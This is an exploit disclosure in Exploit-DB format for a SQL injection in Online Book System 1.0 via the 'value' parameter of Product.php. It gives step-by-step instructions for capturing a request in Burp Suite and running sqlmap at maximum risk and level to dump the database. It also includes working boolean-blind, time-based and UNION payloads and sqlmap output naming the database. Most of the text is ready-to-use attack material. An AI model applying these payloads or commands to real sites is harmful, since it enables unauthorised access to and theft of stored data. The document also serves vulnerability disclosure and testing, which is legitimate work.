- Exploit Title: Online Book System- SQL Injection
- Date: 2024-26-03
- Exploit Author: Burak Sevben
- Vendor Homepage: https://code-projects.org/online-book-system-in-php-css-js-and-mysql-free-download/
- Software Link: https://download.code-projects.org/details/74c24d93-431e-4e31-acc1-802f14caef5c
- Version: 1.0
- Tested on: Kali Linux + PHP 8.2.12, Apache 2.4.58
- CVE: Reported, waiting for CVE number.
Online Book System 1.0 allows SQL Injection via the 'value' parameter at "localhost/BookStore-master 1/Product.php". Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit the latest vulnerabilities in the underlying database.
- Go to this address: "localhost/BookStore-master 1/Product.php"
- Capture the request via Burp Suite and send it to the Repeater.
- Copy the request and paste it into an "r.txt" file.
- Captured Burp request:
GET /BookStore-master%201/Product.php?value=entrance%20exam HTTP/1.1
Host: localhost
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
- Use sqlmap to exploit. In sqlmap, use 'value' parameter to dump the database.
sqlmap -r r.txt -p value --risk 3 --level 5 --dbms mysql --proxy="http://127.0.0.1:8080" --batch --current-db
---
Parameter: value (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: value=entrance exam' AND 6302=6302-- UDjO
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: value=entrance exam' AND (SELECT 1704 FROM (SELECT(SLEEP(5)))wPKG)-- KJpp
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: value=entrance exam' UNION ALL SELECT CONCAT(0x716b786a71,0x574b6549785a614e7a58724d414b51614e706c536b53415363697854594d4c7a59726258586e5942,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[11:07:38] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.58, PHP 8.2.12
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:07:39] [INFO] fetching current database
current database: 'u385439067_store'
- current database:
u385439067_store
